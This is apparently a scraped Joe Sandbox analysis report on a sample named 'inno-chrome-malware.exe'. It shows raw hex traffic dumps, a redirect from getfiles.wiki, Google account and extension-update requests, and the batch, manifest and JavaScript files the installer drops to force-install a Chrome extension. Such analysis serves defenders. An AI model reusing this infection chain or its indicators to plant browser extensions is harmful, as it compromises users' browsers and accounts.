e8 ef 83 94 ca 4c 0d 90 c9 d9 d3 41 5c ac e2 03 10 14 45 aa 03 19 2c 64 4d ff 90 Data Ascii: P+7yz\|f)@\|aB~p+A%E 4p6?@@k&$8dkV"-Yx.1h[R}%A930R#0]L/\| ol;]cfkeA<v TLA\E,dM
2023-02-07 23:05:58 UTC	357	IN	Data Raw: d9 18 64 b0 90 83 31 c1 70 72 f8 1d 76 f6 d9 8a 4f 5d b0 1e f3 43 fc 00 64 cd d9 0f 9c b7 af 1b 0c 40 fe 6c cd 2e da c1 4c fd 92 e0 19 20 85 70 da 7c 0f f5 93 24 91 39 1e c4 c5 fc 00 a4 29 9b 04 29 05 66 0b ae 34 d9 5d 96 db 7a 41 ca a1 3d 3c 7a 7b 66 9d 1b 1c 70 2e 01 19 0c 5c 4c 2f 37 d9 5d 36 df 32 6c 5b 90 72 58 f2 e4 d0 ed f1 1c 3e 34 f6 fa 30 ab 03 32 18 4c 3c 35 3c 63 f0 1b ce b0 80 d8 89 cd f3 10 f8 dc e2 07 20 ff 91 fb 71 b0 97 7a 47 31 a0 4a 46 02 7f 53 be b1 9a d5 df f2 b2 c4 a7 75 6f a9 df a2 b9 fb 1c 10 17 f3 73 40 12 d9 05 20 c5 4a c5 47 6e c9 22 5b 86 a6 22 5f eb 1a 3f 66 43 90 72 e2 2c 05 02 a1 37 0d 05 58 8b ad ec f1 81 e0 ce 13 2c 8f 2c 31 14 7c bc 96 9b 21 1b 82 94 13 67 29 7a 5a aa de 34 b4 b4 b4 38 d7 2a 9b 81 0c 14 92 41 cf 30 77 4e Data Ascii: d1prvO]Cd@l.L p\|$9))f4]zA=<z{fp.\L/7]62l[rX>402L<5<c qzG1JFSuos@ JGn"["_?fCr,7X,,1\|!g)zZ48*A0wN
2023-02-07 23:05:58 UTC	358	IN	Data Raw: 8c 41 d0 90 56 ee 0f 33 0e a4 3f 38 e7 1e 51 de 76 db 04 e2 16 e3 9a d2 9b 70 47 4c 65 04 20 a1 87 34 67 7a 41 34 a5 c6 07 76 c6 b5 fc 2a d4 de 58 a4 f1 1c b5 eb 81 e0 eb 4f 40 56 c7 03 09 6b 77 f8 3d 61 dc 0d 6b d1 1f 29 06 20 a7 81 14 a2 7f 47 10 bc 1e c4 95 62 a1 db 21 af 85 4d fd 40 0a c1 05 f0 f7 ca f9 0f d7 83 b8 52 4b d5 ed ca 79 20 bf 01 29 84 d5 41 31 63 f1 b5 e6 98 c9 25 1d 10 37 c1 cd e6 f4 4a 08 40 30 33 d9 ae b8 fc d2 08 32 58 cc ab 48 c6 83 47 62 b6 a3 d5 79 41 07 77 f8 04 ee 67 39 85 be 96 75 71 00 e0 ba a3 81 9d 14 77 81 98 e7 63 83 2a b4 00 cf d9 d9 d1 98 1f 2e f3 2d 9c dd 01 cd ea 0e 54 3e 81 ef 01 29 04 17 c1 fb 94 f3 3f 62 20 ae d4 56 75 a0 6a 00 d2 3c e4 1e 90 42 d4 f3 3f 1a d3 6f 82 b8 0e ca c4 7b 3d 00 61 05 64 dd aa a7 c1 30 c8 80 Data Ascii: AV3?8QvpGLe 4gzA4vXO@Vkw=ak) Gb!M@RKy )A1c%7J@032XHGbyAwg9uqwc.-T>)?b Vuj<B?o{=ad0
2023-02-07 23:05:58 UTC	361	IN	Data Raw: 03 10 6b 0b ac a7 04 96 c0 1d a9 58 30 04 52 0e bd fd b0 97 bb 6a b5 e9 fd 65 e1 c9 5d df 03 51 e0 6b c8 0f c1 7b 3a c7 ee fc 0f e2 dd b9 62 00 92 b3 b2 aa 5d 0d 6b a5 ba fd 60 42 bf 03 e9 0d ef ce 15 03 90 5c 3e 2f df 01 71 b5 27 65 88 72 3f 98 df 81 f4 66 ff ab 72 43 2b 67 06 c4 9f 01 41 22 e6 eb 1e 0a 3e 3e 4d 45 43 bf 9c 13 0b 6d 04 52 4e 3c f4 0a ff e7 b6 41 5e 5f e6 51 10 0d be f4 d1 aa 01 22 8a 09 71 6d 1b a4 3f cc 4f d0 3c 29 98 3f 01 e2 66 5d e3 c7 6c a8 3c 50 fc 02 a4 37 cc 4f d0 bc d8 32 7f 02 c4 cd 72 33 64 43 e5 00 e4 17 20 bd a8 b0 1c 10 3f 07 04 e7 dc 4b 90 77 2b 56 5f 65 33 3d dc bc ec 67 f5 65 71 02 1c 7a a7 98 d5 6c a0 49 9d 8f 03 20 96 5f 5e 52 0e 0e 6f 02 29 86 66 65 40 6a af af dd 01 c4 cd d8 8d 52 39 0b fd 0c 90 de 20 e7 e1 2c d5 a2 Data Ascii: kX0Rje]Qk{:b]k`B\>/q'er?frC+gA">>MECmRN<A^_Q"qm?O<)?f]l<P7O2r3dC ?Kw+V_e3=geqzlI _^Ro)fe@jR9 ,
2023-02-07 23:05:58 UTC	362	IN	Data Raw: 5d ed 75 a3 46 5b e7 be f7 95 fc cb ac be 99 7e cc 78 10 92 c8 be 13 9f d6 bd 25 48 25 63 5f 96 42 3b 5e 14 b2 ee 4f 05 19 0c 36 33 52 3e 19 33 56 8f 02 37 60 32 18 9b 3a e9 6e ab 0b de 0a 52 8c 9e 96 aa 3b 54 67 41 b0 fb 23 d7 22 1b 81 b8 02 b6 23 e3 39 2f 51 0d c2 9a ab 6e 05 29 46 78 ca 92 ed 0d cc 4a fe 0e c4 e1 ac 86 7c a9 4a 09 40 f2 13 76 a9 e1 f8 a4 de fe 3e 16 fc b5 95 80 5f 69 78 28 09 12 52 b7 b2 96 03 8c 4a 64 be 88 4d ca ec 0e 52 89 ea 1a b3 fb e1 7d c8 18 5c ee 7a cb 2a 3c 36 18 1d d1 da c3 f5 f7 b5 87 ae 00 71 85 68 e8 26 ed d7 cf 2d 7f 20 c5 e8 69 ad 39 5c 7b f9 01 33 0a 57 80 b8 42 6b d5 4d ea af bf b9 ea 20 90 62 69 17 05 84 85 6e 98 05 c6 8c f8 af f8 7c 2b 25 00 21 6e 7d 55 ee 48 bb 38 15 1f b9 25 88 d3 71 66 86 ca 36 03 62 a9 6b ec 3e Data Ascii: ]uF[~x%H%c_B;^O63R>3V7`2:nR;TgA#"#9/Qn)FxJ\|J@v>_ix(RJdMR}\z*<6qh&- i9\{3WBkM bin\|+%!n}UH8%qf6bk>
2023-02-07 23:05:58 UTC	363	IN	Data Raw: e7 82 e8 ec 12 99 7b 70 60 04 88 1d 92 e1 5d d6 e6 36 39 a3 af 29 12 7a 99 d3 9d 20 83 72 b7 54 15 ce 05 d1 d9 25 92 7f 58 46 80 d8 e2 49 59 1b 8d e6 ee 34 f9 9a 40 e7 fd 07 9c 07 75 c6 8b 34 4e 4a ff 3f 10 3b e0 c6 6e 14 6b 32 fd e7 f3 f0 03 10 4a d6 07 f6 31 39 2e 30 09 df e6 e6 73 78 4d a1 bd b0 c4 fc 51 81 e7 a5 39 1b 82 83 1e ab 75 ff c5 2a 1f 44 85 13 95 fb f3 59 cc cc ee f5 53 de 31 a0 4f c2 19 98 15 7a c8 6a 20 57 2e c8 33 39 1d c4 2e e8 61 b0 af 0d fd 12 3e 49 45 6a a3 20 26 71 d9 07 cb 3f 5f 98 7e 3d dc 45 04 a2 01 17 eb 7d cd 5e ac a1 a5 ea 93 9e b6 aa 28 88 51 58 f6 59 de 52 f5 85 e9 d7 c3 5d 44 20 5a 70 ee df 63 78 1b fd 12 16 01 33 3c e3 5b cd 8a ac 7d 27 c7 fb 01 08 61 86 f4 6e c3 e3 c3 f3 f0 03 10 93 58 56 80 6d fe 31 86 2c 2f f0 5c d4 67 Data Ascii: {p`]69)z rT%XFIY4@u4NJ?;nk2J19.0sxMQ9u*DYS1Ozj W.39.a>IEj &q?_~=E}^(QXYR]D Zpcx3<[}'anXVm1,/\g
2023-02-07 23:05:58 UTC	365	IN	Data Raw: 58 55 52 83 37 54 70 00 f2 7c b1 9d 7d 79 28 0b 16 eb 62 a1 2e ff 84 1b 58 57 60 6e 05 b6 0a 11 b9 05 33 a1 91 2c 35 ab 12 67 3e ac 62 42 e5 b4 b4 ad 66 27 cc 02 cc aa c4 99 0f 06 60 20 e5 c4 9d 31 7e 10 e2 fd 00 84 b8 f4 80 99 90 eb 2b 70 ac 7b 92 d5 a3 41 8a c1 43 d9 f0 84 64 6d 0d 7f 36 a4 14 4c e6 cd d4 83 b8 11 f2 12 b6 4d 46 82 ef 57 ce 49 19 78 97 5b e0 40 9c 20 df 32 6c 5b ec 44 79 bf 82 72 3e de cd 3d 39 7c 6b 10 a7 e0 36 59 6f 8f 51 7e 00 62 cd 84 54 d4 72 4c 34 74 9f b5 ec 52 2c 1e ca 8e fd 52 30 1b 72 73 e1 8e ba 3e dc 3d dd 1a 6e 58 b8 3e 88 8b ad 4a 4c 0d 35 43 de d3 22 81 c7 e7 ef 5f bb 2e 88 93 30 31 15 cb 31 cd 15 b0 ec f2 38 8a 9c ad 0b e2 34 08 c6 4f b2 da 34 b8 59 5d 22 f3 19 f2 d0 de f4 03 90 be b1 0a 28 6a 14 ad f0 f6 cc 47 f0 32 ee Data Ascii: XUR7Tp\|}y(b.XW`n3,5g>bBf'` 1~+p{ACdm6LMFWIx[@ 2l[Dyr>=9\|k6YoQ~bTrL4tR,R0rs>=nX>JL5C"_.01184O4Y]"(jG2
2023-02-07 23:05:58 UTC	366	IN	Data Raw: 23 e3 11 28 24 10 20 b4 22 50 58 a8 30 cb b1 10 8f d5 c2 c7 e4 56 da dc 0b 32 1c c4 b7 a6 f8 b4 ee 2d 71 b3 75 3a c6 b6 3b 30 f6 7c cc d9 91 01 ef b8 4b 64 5b f1 fd 1f 22 53 b2 7b 0e 64 cc c2 cd d5 4d 4a 79 26 6f 81 f8 fe 13 67 21 52 f1 50 30 15 0d fd 92 b3 b0 cc 3d 1b fc 4e 96 50 17 cb a6 63 a6 63 2a 6e e8 0e b0 7a b7 d8 8d 87 8a 33 6e 4a d7 06 2c 7a c6 7a 23 91 c6 ee 73 78 f2 31 8a e7 f2 08 a6 3a ff 17 df ff 6b 65 30 91 bd 07 27 e7 df b1 4f ff 4e 04 16 37 72 87 ca ca 32 ca dd e7 46 9a d2 47 c6 26 77 87 b8 36 ca f5 5a 10 5f f9 70 1d 35 15 1f b9 65 2a 52 1b 45 55 be d3 71 52 35 c0 d5 08 26 fe be 72 f9 26 f4 18 f1 7b fe 8c ff 0d 26 f2 77 f9 6f b8 47 7f 10 09 56 be bc 7c 27 d7 3c 7c 4b 04 25 d1 65 6d d5 a7 63 b9 a4 01 81 c4 d5 f8 fa f7 6f 97 6f 5a aa 1f 23 Data Ascii: #($ "PX0V2-qu:;0\|Kd["S{dMJy&og!RP0=NPccnz3nJ,zz#sx1:ke0'ON7r2FG&w6Z_p5eREUqR5&r&{&woGV\|'<\|K%emcooZ#
2023-02-07 23:05:58 UTC	367	IN	Data Raw: f6 e4 e3 aa 0e b7 dc 82 36 5c 00 80 b4 c5 26 da 3f 54 8f e4 c3 5e 27 2d c0 81 fa 3b 00 41 68 27 00 c8 9b 93 a4 c6 5d 33 7e 17 9d fa 73 f2 bc 39 41 a0 fe 09 40 10 da 0b 00 ca ee 98 a3 64 30 57 c7 13 86 f8 83 c6 0e e9 e2 6b 17 70 05 03 00 48 8c 5d 33 35 f6 d3 f1 a4 d5 f6 73 99 c0 1a 28 60 20 08 42 07 01 80 6c b6 2d 37 cf f6 aa d4 f8 5b fb 4e fe 65 c6 40 01 03 45 10 ba 01 00 68 b7 6e a6 fd 5b bd 75 e5 e2 3e c8 8a 21 9b 05 6a 5c 01 04 a1 4b 00 80 0c 2d cb 0a 77 68 a2 fd d7 5d 3e 56 fd db 3e ed 8e de f0 bc b1 93 06 0a 68 05 41 e8 2e 00 d0 3f b8 cc b8 23 ba ae 3e 44 bb 8f a4 78 56 fe be 40 0d 06 40 10 ba 14 00 34 f2 e6 44 49 61 b7 91 51 ee 99 b6 63 3b 54 5c 3a 22 2b fc 5d 7d 27 fb 4d 99 eb 01 e6 80 00 40 cd ac 5d f8 d9 a5 c5 35 2b ec 83 89 b6 c3 2b 9e e3 f1 4d Data Ascii: 6\&?T^'-;Ah']3~s9A@d0WkpH]35s(` Bl-7[Ne@Ehn[u>!j\K-wh]>V>hA.?#>DxV@@4DIaQc;T\:"+]}'M@]5++M

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:48 UTC	1	OUT	GET /welcome.php HTTP/1.1 Host: getfiles.wiki Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:05:48 UTC	5	IN	HTTP/1.1 302 Found Date: Tue, 07 Feb 2023 23:05:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close location: https://exturl.com/r.php?key=pvwarw3 cache-control: no-cache, no-store, must-revalidate, max-age=0 vary: User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BRsVYJJSNOlBcCp5hDOtEiCH1D8YY2rC19wxU16aMhM8UYN0Jn5eU0NoISP5Q1dAktBZXIpgjahyEMOevSqqOydGPDnvrOhvGx7GiHJ0Yfgefx99ny%2BXILkAuTWePmIa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 795fc5bdf9fdbbe3-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-02-07 23:05:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report inno-chrome-malware.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe (copy)

C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx (copy)

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-3G8RT.tmp

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-7HSRC.tmp

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-BP319.tmp

C:\Users\user\AppData\Local\ServiceApp\apps-helper\is-TEEF9.tmp

C:\Users\user\AppData\Local\ServiceApp\apps-helper\manifest.json (copy)

C:\Users\user\AppData\Local\ServiceApp\apps-helper\service.js (copy)

C:\Users\user\AppData\Local\ServiceApp\apps-helper\web.js (copy)

C:\Users\user\AppData\Local\ServiceApp\chrome.bat

C:\Users\user\AppData\Local\ServiceApp\install.bat (copy)

C:\Users\user\AppData\Local\ServiceApp\is-89J0J.tmp

C:\Users\user\AppData\Local\ServiceApp\is-OKOQ1.tmp

C:\Users\user\AppData\Local\ServiceApp\reg.bat

C:\Users\user\AppData\Local\ServiceApp\reg.xml

C:\Users\user\AppData\Local\Temp\is-2IQD1.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp

C:\Users\user\AppData\Local\Temp\is-Q5POL.tmp\_isetup\_setup64.tmp

Windows Analysis Report
inno-chrome-malware.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:06:06 UTC	367	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:06:06 UTC	368	OUT	Data Raw: 20 Data Ascii:
2023-02-07 23:06:06 UTC	370	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 07 Feb 2023 23:06:06 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version= Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external"}]} Content-Security-Policy: script-src 'report-sample' 'nonce-pNMuqsNoDft8dE-vURHJnQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp" Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:06:06 UTC	372	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-02-07 23:06:06 UTC	372	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:06:14 UTC	372	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:06:14 UTC	372	OUT	Data Raw: 20 Data Ascii:
2023-02-07 23:06:14 UTC	374	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 07 Feb 2023 23:06:14 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp" Content-Security-Policy: script-src 'report-sample' 'nonce-s-6KEpu69WTKWYc4Q_KXVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version= Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external"}]} Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:06:14 UTC	376	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-02-07 23:06:14 UTC	376	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:06:15 UTC	376	OUT	GET /webstore/inlineinstall/detail/jncffhgjbmpggpdflbbkhdghjipdbjkn HTTP/1.1 Host: chrome.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:06:15 UTC	377	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 07 Feb 2023 23:06:15 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/chromewebstore/2 Content-Security-Policy: script-src 'report-sample' 'nonce-CAn0mZftLg7C2DCZTef0Tw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';worker-src 'self';report-uri /webstore/cspreport Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="coop_chromewebstore" Report-To: {"group":"coop_chromewebstore","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/chromewebstore"}]} Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Set-Cookie: NID=511=jdr6oqVyMqmlvsdCc0tej7gtU-onqEK8NfqDDrpt64hEIu42fMYGwtEmyw8LGtAXIECNpmF6mvlJu9AR8iI1dfuWwpXDcmOMW5HP_fDv_zfuh_Mmc1vwNrb3zIN7wHr3jcwZyhYEis2ipOUV1dJREP_lVBNtqao_z6Q9NwWtkOU; expires=Wed, 09-Aug-2023 23:06:15 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:06:15 UTC	378	IN	Data Raw: 36 36 61 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 66 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 56 4e 75 7a 49 75 74 32 38 79 30 2d 5f 77 49 64 4b 6b 67 65 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 Data Ascii: 66a<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not found)!!1</title><style nonce="XVNuzIut28y0-_wIdKkgeg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans
2023-02-07 23:06:15 UTC	379	IN	Data Raw: 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 61 69 6e 20 69 64 3d 22 61 66 2d 65 72 72 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 3e 3c 73 70 61 6e 20 69 64 3d 6c 6f 67 6f 20 61 72 69 61 2d 6c 61 62 65 6c 3d 47 6f 6f 67 6c 65 20 72 6f 6c 65 3d 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 Data Ascii: y:inline-block;height:54px;width:150px}</style><main id="af-error-container" role="main"><a href=//www.google.com><span id=logo aria-label=Google role=img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this se
2023-02-07 23:06:15 UTC	379	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:06:27 UTC	380	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-104.0.5112.81 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:06:27 UTC	382	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-Zav6zMRsEEKp2bUL52bd7Q' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 07 Feb 2023 23:06:27 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5881 X-Daystart: 54387 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
